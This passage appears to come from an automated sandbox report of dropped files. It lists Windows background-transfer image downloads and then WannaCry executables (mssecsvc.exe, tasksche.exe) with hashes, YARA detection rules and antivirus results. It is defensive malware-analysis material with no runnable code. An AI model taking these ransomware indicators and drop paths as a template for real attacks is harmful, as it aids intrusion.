.a.e.8.d.a.1.5.5.-.9.0.f.0.-.4.f.7.0.-.a.5.f.d.-.3.d.e.c.7.8.3.e.c.9.6.9...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .1.6.6.0.8.3.3...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\6799fc84-4456-44ec-8644-71675d202561.down_data

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop 21.1 (Windows), datetime=2022:03:02 13:23:15]
                    Category:dropped
                    Size (bytes):1660833
                    Entropy (8bit):6.930794506164581
                    Encrypted:false
                    SSDEEP:24576:+4jNiVr4qksnz807k9ZliEKBcI/prV/RmJGoGa1KZTOsePRxaAxS2+gPu/Zj:+4jNiVr4qu0frZfWxaaqgG/Zj
                    MD5:2CD6B59B5F9D8E356D332AA2E645CAFF
                    SHA1:A981FFE89A6EC691AB4E5DAD320832D3236ECC12
                    SHA-256:3E97C246B7A8DFB0590215FC3C7236583D4AFDFEF0315D89770BB8FE7305DF1C
                    SHA-512:CB2A41C198ED4D119ABADA123A96359E923864E73AD3F937DA5DB0AB679C3095AD8E7608DBC737C433B417214716F08450D78FACCB395790B0249C4C6AE12868
                    Malicious:false
                    Reputation:unknown
                    Preview:....!.Exif..MM.*.............................b...........j.(...........1.........r.2...........i....................'.......'.Adobe Photoshop 21.1 (Windows).2022:03:02 13:23:15.............................8..........................................."...........*.(.....................2.......... I.......H.......H..........Adobe_CM......Adobe.d...................................................................................................................................................Z.."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?...H..{.....hNZ.un.../.%...yt.....Co......".+\..K..z.4...........c>.*....6~.M.~=.N.?.......2.......w._..n.....W:..k.*..f.}':..7.......+.9.f.b.5

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\805ee0c8-f455-46ce-ac6a-78def61c9de8.c67d97a2-792d-42a0-98a0-1f817cd3376c.down_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):1232
                    Entropy (8bit):3.5998727850212524
                    Encrypted:false
                    SSDEEP:24:LLVR2mRiw8WXpjgWzgxjX+vUViw8nx2BKs461+EpL7tsafxOc2CpX3Ks4zbaibWD:LLD2mRiEXpjPgVX+v8iZMBKzQhftrfeY
                    MD5:4301AED1247D792ADA32E84F46810D57
                    SHA1:1D9AAF0F1A666E2A189B4D649F11766D9F60F9E1
                    SHA-256:F000576208B838815F23552F9D5E566260E7297534803CD46CC0040E433F8C04
                    SHA-512:C80262DFFDDB1999BB4E51E417B93962774371425BD84D1848BB455A86D0F09F4A458811DE61C06B18BCEBA133E2802C0035D60BCB620EC9723E88A126B2163E
                    Malicious:false
                    Reputation:unknown
                    Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.R.t.u.S.?.v.e.r.=.3.a.9.f...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.R.t.u.S.?.v.e.r.=.3.a.9.f...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .S.a.t.,. .0.9. .J.u.l. .2.0.2.2. .2.0.:.5.7.:.5.4. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .1.6.5.4.0.5.3...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .3.f.0.9.b.9.b.2.-.b.a.e.5.-.4.c.b.b.-.a.f.5.4.-.7.5.9.9.c.9.1.c.b.e.3.1...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .1.6.5.4.0.5.3...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\805ee0c8-f455-46ce-ac6a-78def61c9de8.down_data

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop 21.1 (Windows), datetime=2022:01:14 12:23:51]
                    Category:dropped
                    Size (bytes):1654053
                    Entropy (8bit):6.919603621693778
                    Encrypted:false
                    SSDEEP:24576:XdC81bzchYev0koZT7Eyfcs/ir0/R0JGSUNfq5xXznUlgTPusqW3TXg1Nf0JDs4W:XdC81bzivg+jQqTPusqUQVJZ
                    MD5:D121025202D116D4C3CF525B61BF3CCC
                    SHA1:3E0119FA633BE78E870F925002E650EEF70B1965
                    SHA-256:652D1F7637956599FEC776D272D2723A1689A0D401DCFFC0D346F78A687D6EBC
                    SHA-512:42FE53004BFDB536373540A1529CC11F0C07E1EE30839CD5B044C521719A041759DC2FA2F08E54F44C811C5A11DAADA07303CB91BA7B9C3F9798AB94B3E24783
                    Malicious:false
                    Reputation:unknown
                    Preview:......Exif..MM.*.............................b...........j.(...........1.........r.2...........i....................'.......'.Adobe Photoshop 21.1 (Windows).2022:01:14 12:23:51.........................................8..............................."...........*.(.....................2...........F.......H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................Z...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..(x.,.i.U.W{.U..^;.....^.....a..x.*.^\..arY=S?/6..r.e>..P..[Y[...[}H.....nfc....z6yx..k.u}49.B.../6..]{.......U.E....ms]...z.o_.=I...n..A`....O..s......b

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\8e5da22c-60ac-486c-a740-0595d5f89e85.3e206d7f-659a-4614-9e6d-3412837cda7c.down_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):1224
                    Entropy (8bit):3.5989829684057097
                    Encrypted:false
                    SSDEEP:24:LLVR2mRi9XpjgWzgxjX+vUVifUYBc1+fh21safxOc2CpX3VbZIAbW1N:LLD2mRi9XpjPgVX+v8ibBmo21rfeIX3c
                    MD5:22AE3CFAAF4D5A91541386101A845816
                    SHA1:5E9C81DC73F2F4A79314F52018B8F2B54D6A670B
                    SHA-256:717D79A45AA845B78E36BE783B2A3B152949055E0F0DEB8CCAD258684EAD62D5
                    SHA-512:82E5C7D799000BF77DD43D46E79F42F3AE43E1D22796F39400F342912FFB07ED9B6EE27A52D0B31E4EFF915C6A962348B00AB28C6C90EE2B4EB18469226E6180
                    Malicious:false
                    Reputation:unknown
                    Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.w.M.w.R.?.v.e.r.=.6.d.e.0...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.w.M.w.R.?.v.e.r.=.6.d.e.0...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .M.o.n.,. .0.4. .J.u.l. .2.0.2.2. .0.3.:.1.6.:.2.8. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .6.9.5.2.6.7...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .e.7.7.f.c.9.e.5.-.f.a.2.7.-.4.5.b.a.-.a.1.e.d.-.4.7.2.6.9.9.5.7.9.b.6.4...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .6.9.5.2.6.7...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.u.b.l.i.

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\8e5da22c-60ac-486c-a740-0595d5f89e85.down_data

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1920x1080, frames 3
                    Category:dropped
                    Size (bytes):695267
                    Entropy (8bit):7.955687216143578
                    Encrypted:false
                    SSDEEP:12288:RV/iAIn+SalHOoblq16uaPpKzSFzED0dJDzNkI3dYzBA2vYfEke1LirtY0kaSN1:7/CZY5PpxWDCNkMdeOGElkaSN1
                    MD5:2C011FD5F1E51BDB7B0505F886197D62
                    SHA1:FF4D1A3D260F6579618A74C80F1F101BE7C0EA0D
                    SHA-256:E13F493F666015778744C82C10B3A53C0EFC83EC4F1728B8666959EC4CF2A913
                    SHA-512:B8E66F492BEA1BE3EC3CA809D5190D29BADF01CF59DA98836F47889B20D00E32325EA62C97E07C9B6239F1C467C8BFBB6F90D3D2858AF63BE7EAEDECF029A906
                    Malicious:false
                    Reputation:unknown
                    Preview:......JFIF.....`.`.....C....................................................................C.......................................................................8...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..o,6A......=}..c...1....&..s.<g8...V.*..OPz...~..*..!.$....?....Yl...O....sO......#.....e..\t..?.T..c..2.:...R0m...?..R2.v.lc..=..n....x.M.R<...`s.?.|P....c...'.!.].h$.88.k.Pm$.....H......r.#>.).o.g....J..F..q....z.<..*...=?.b.X`P...1.c...I...^...Z.29..zc....S.y..*`D....=:...@..i?.v.Y..?.3..?..Tg#.....'..pq..=iH;.G9./.....z..:s.+......"e.............N..J.T.

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\f006c7a9-de6f-4a06-b2c4-43c897760579.c5f1a3d3-ba2e-4507-ae31-303ad4c8dbbf.down_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):1232
                    Entropy (8bit):3.6167517396962174
                    Encrypted:false
                    SSDEEP:24:LLVR2mRiwmXpjgWzgxjX+vUViwH72tBKf1+BnXsafxOc2CpX3K0bbdozMbWD:LLD2mRi3XpjPgVX+v8iG72tBKN4Xrfev
                    MD5:FE37F8707AD6815CC7C544963B385B58
                    SHA1:67D5BAD7AA8B12D18222DFA8281408AF7704ADA7
                    SHA-256:DD131F0F31AFF134797E125AAE96FD4388E1910DB29977E9AAA305629EC6DC27
                    SHA-512:860F2579D383DBC15984DF5B76D27FDDD0BA254678E0AD55FCC406EB331E32A849C6BEF140C525FF9D7CEBFF80B59EF4046B186EB91DE9B672A6E474F77E388F
                    Malicious:false
                    Reputation:unknown
                    Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.l.T.B.?.v.e.r.=.2.a.9.4...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.l.T.B.?.v.e.r.=.2.a.9.4...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .S.u.n.,. .0.3. .J.u.l. .2.0.2.2. .0.5.:.0.2.:.3.7. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .1.6.6.0.8.3.3...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .a.e.8.d.a.1.5.5.-.9.0.f.0.-.4.f.7.0.-.a.5.f.d.-.3.d.e.c.7.8.3.e.c.9.6.9...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .1.6.6.0.8.3.3...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\f006c7a9-de6f-4a06-b2c4-43c897760579.up_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):278
                    Entropy (8bit):3.3894363370336076
                    Encrypted:false
                    SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRct:ZxMghwLtHSM1Sb9mSMXAvwR
                    MD5:A27F678F172C642E24DE4740C5B2DBC3
                    SHA1:36444729D96B371E3B182455FD5416A724875FF3
                    SHA-256:BF27499FEA1EC1D167352764D5DE5CC87FCE82683C3F8CDB3E3A19086DEC5C82
                    SHA-512:7846A476F6349EB719D781B6F529DCAAB21140067A54756A3C51E695B20E4C5FF74F5CA798181023D22860E9EA36C9E452EC003AB8A1B242033EB43F3EFA627F
                    Malicious:false
                    Reputation:unknown
                    Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.l.T.B.?.v.e.r.=.2.a.9.4...........

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\fba15ef9-e91c-4bce-a05a-0f71fce1bba1.77b672ba-032f-41db-bd1b-382a6988d748.down_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):1232
                    Entropy (8bit):3.6228602661099942
                    Encrypted:false
                    SSDEEP:24:LLVR2mRiw5CuXpjgWzgxjX+vUViw5nrBB41+lPDipsafxOc2CpX3Jb3EbWD:LLD2mRi+1XpjPgVX+v8i+dBiqPD6rfeE
                    MD5:1BB4DE4104A3BF9510EFFCEF3C1FD6BC
                    SHA1:66621CDE06BC069269F38AFBBE96CFE15326A954
                    SHA-256:6836CE521155B0E10969CE4E9DDB95452545F536181137F85870BE03EC62B43E
                    SHA-512:102F7CFFF339ECCE7CCB4FE55837CD3ED0163E99238393F4ABBEF515ED3ECFEE6189F84AD94C4E2A16277F6B467BF94004DD418931365BB216E702DAB1BBB748
                    Malicious:false
                    Reputation:unknown
                    Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.w.e.j.?.v.e.r.=.c.b.f.0...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.w.e.j.?.v.e.r.=.c.b.f.0...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .M.o.n.,. .1.8. .J.u.l. .2.0.2.2. .0.3.:.1.6.:.1.8. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .1.7.0.8.8.6.5...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .3.b.3.0.3.f.5.5.-.c.4.4.f.-.4.4.5.a.-.8.0.b.2.-.3.9.0.2.9.1.7.3.7.1.c.3...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .1.7.0.8.8.6.5...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\fba15ef9-e91c-4bce-a05a-0f71fce1bba1.up_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):278
                    Entropy (8bit):3.422473556620063
                    Encrypted:false
                    SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRKaMAo4:ZxMghwLtHSM1Sb9mSMXAvwR/M
                    MD5:053A6748354C63633E9F064D374A3D64
                    SHA1:F7392A988C29192C2DBB9192931C98C346A03B46
                    SHA-256:1867022FBB28FC2A1F79ED84CFA93EFEE48C33EF120A7976E594BD497DA2ED3F
                    SHA-512:175DB5E34D5D66ABCBA2DC76ADF44978A26A70A5CCEA46FF96D3EC85F4F34BA0B571785C3A912E87FD3D194F101339B2D0E988D4A611FFA91F9AC9204BDE5765
                    Malicious:false
                    Reputation:unknown
                    Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.w.e.j.?.v.e.r.=.c.b.f.0...........

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\fd2c7060-9986-4a11-a6af-5ae5175c3daf.b6ea6c93-a72d-4206-8738-fb42f29ff6c6.down_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):1232
                    Entropy (8bit):3.620712733119152
                    Encrypted:false
                    SSDEEP:24:LLVR2mRiwLXpjgWzgxjX+vUViwOMBKA1+pBsafxOc2CpX3KxbbJp9bWD:LLD2mRiiXpjPgVX+v8iEBKKWrfeIX3KK
                    MD5:A4BFF0C24D821A1459DFC4213D9968EE
                    SHA1:F92BCCFC85D9843135BF883ABB43C4C85C8BC69C
                    SHA-256:92D077A2CE7A08C9E417B81D3B486DC00A65994F35781D78E2FEA94367B120B8
                    SHA-512:CEBA40C29CA1A6B7C4607836078F16902EA5A949063D7A2E235D569FFFD326D385DF634CC6E68437ECCBBA003619DD1BE4D3952526011DB62B3E2AE3C341AA31
                    Malicious:false
                    Reputation:unknown
                    Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.R.l.G.Y.?.v.e.r.=.9.9.8.7...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.R.l.G.Y.?.v.e.r.=.9.9.8.7...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .T.h.u.,. .3.0. .J.u.n. .2.0.2.2. .0.1.:.5.9.:.5.2. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .1.6.0.3.7.6.3...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .4.6.5.8.8.a.b.c.-.9.4.c.a.-.4.d.c.d.-.a.4.1.b.-.b.d.7.5.8.4.6.d.a.c.6.8...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .1.6.0.3.7.6.3...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\fd2c7060-9986-4a11-a6af-5ae5175c3daf.down_data

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop 21.1 (Windows), datetime=2022:01:14 12:25:06]
                    Category:dropped
                    Size (bytes):1603763
                    Entropy (8bit):6.862308627210923
                    Encrypted:false
                    SSDEEP:24576:64jNiVr4q/jjS8xmkKZqwEKBcD/prV/RvJGoGbvnEd39YAHx7S6V6Q537Ghg4:64jNiVr4qbx7pl7S6V6QVqb
                    MD5:24093B1FB706CDEA516BD047FBD1805C
                    SHA1:0900A9E117E88C98A8762102F01551EE365711C1
                    SHA-256:6B68C8C6BCFACC1325B5052B06E5466DD2613F5BBFA5BDB61218D386ABDA24D3
                    SHA-512:948B83B3EB030090AE56E30B3CAD203078183A713B154D48B6C9EC3FFD0EFD6937BE02B4458662F01009CDAD5D7B3886A7CA2A5C7159F2EBFE9427535808F20E
                    Malicious:false
                    Reputation:unknown
                    Preview:......Exif..MM.*.............................b...........j.(...........1.........r.2...........i....................'.......'.Adobe Photoshop 21.1 (Windows).2022:01:14 12:25:06.............................8..........................................."...........*.(.....................2...................H.......H..........Adobe_CM......Adobe.d...................................................................................................................................................Z.."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..Z..=.#.P.Zp.M...[e.....7k._V.5...gP.#A..fj".......Y._:!n...r..H....XX.z..^...>K[`......>.....l.0d.#Bb..K..,....7.<..T.2.j..{.:X%......w..?..#+....d

                    C:\Windows\mssecsvc.exe

                    Download File
                    Process:C:\Windows\SysWOW64\rundll32.exe
                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                    Category:dropped
                    Size (bytes):3751936
                    Entropy (8bit):6.5422296342315365
                    Encrypted:false
                    SSDEEP:49152:7nAQqMSPbcBVQej/1INRx+TSqTdX1HkQo6SAAd:LDqPoBhz1aRxcSUDk36SA
                    MD5:A8212B35F3C2D69354A1FBA562DAA478
                    SHA1:B3221C90B2C8DEB8C4D076A271A17F9190D9DA88
                    SHA-256:9F5D7CD646650B4C0780C8C62E460ADED176F604A9EC22E27D3AB60DB88DF0C6
                    SHA-512:D70A219F9509C3CA15973C34B0B3DE08DCE28ED62ADB48360F65181407061C655B08ADB9BFB3F5CF91190650ECE2546331EAC454B92881D19A253F18A9AE75F1
                    Malicious:true
                    Yara Hits:
                    • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (with the help of binar.ly)
                    • Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (based on rule by US CERT)
                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvc.exe, Author: Joe Security
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\mssecsvc.exe, Author: us-cert code analysis team
                    Antivirus:
                    • Antivirus: Avira, Detection: 100%
                    • Antivirus: Joe Sandbox ML, Detection: 100%
                    • Antivirus: Metadefender, Detection: 84%, Browse
                    • Antivirus: ReversingLabs, Detection: 100%
                    Reputation:unknown
                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U<S..]=..]=..]=.jA1..]=.A3..]=.~B7..]=.~B6..]=.~B9..]=..R`..]=..]<.J]=.'{6..]=..[;..]=.Rich.]=.........................PE..L.....C.....................08..................@.......................... g......................................................1.. 6..........................................................................................................text............................... ..`.rdata..............................@..@.data....H0......p..................@....rsrc.... 6...1.. 6.. ..............`...........................................................................................................................................................................................................................................................................................................................................................

                    C:\Windows\tasksche.exe

                    Download File
                    Process:C:\Windows\mssecsvc.exe
                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                    Category:dropped
                    Size (bytes):3514368
                    Entropy (8bit):6.5250408221172975
                    Encrypted:false
                    SSDEEP:49152:nQqMSPbcBVQej/1INRx+TSqTdX1HkQo6SAAL:QqPoBhz1aRxcSUDk36SA8
                    MD5:3233ACED9279EF54267C479BBA665B90
                    SHA1:0B2CC142386641901511269503CDF6F641FAD305
                    SHA-256:F60F8A6BCAF1384A0D6A76D3E88007A8604560B263D2B8AEEE06FD74C9EE5B3B
                    SHA-512:55F25C51FFB89D46F2A7D2ED9B67701E178BD68E74B71D757D5FA14BD9530A427104FC36116633033EAD762ECF7960AB96429F5B0A085A701001C6832BA4555E
                    Malicious:true
                    Yara Hits:
                    • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\tasksche.exe, Author: Florian Roth (with the help of binar.ly)
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\tasksche.exe, Author: us-cert code analysis team
                    • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Windows\tasksche.exe, Author: ReversingLabs
                    Antivirus:
                    • Antivirus: Avira, Detection: 100%
                    • Antivirus: Joe Sandbox ML, Detection: 100%
                    Reputation:unknown
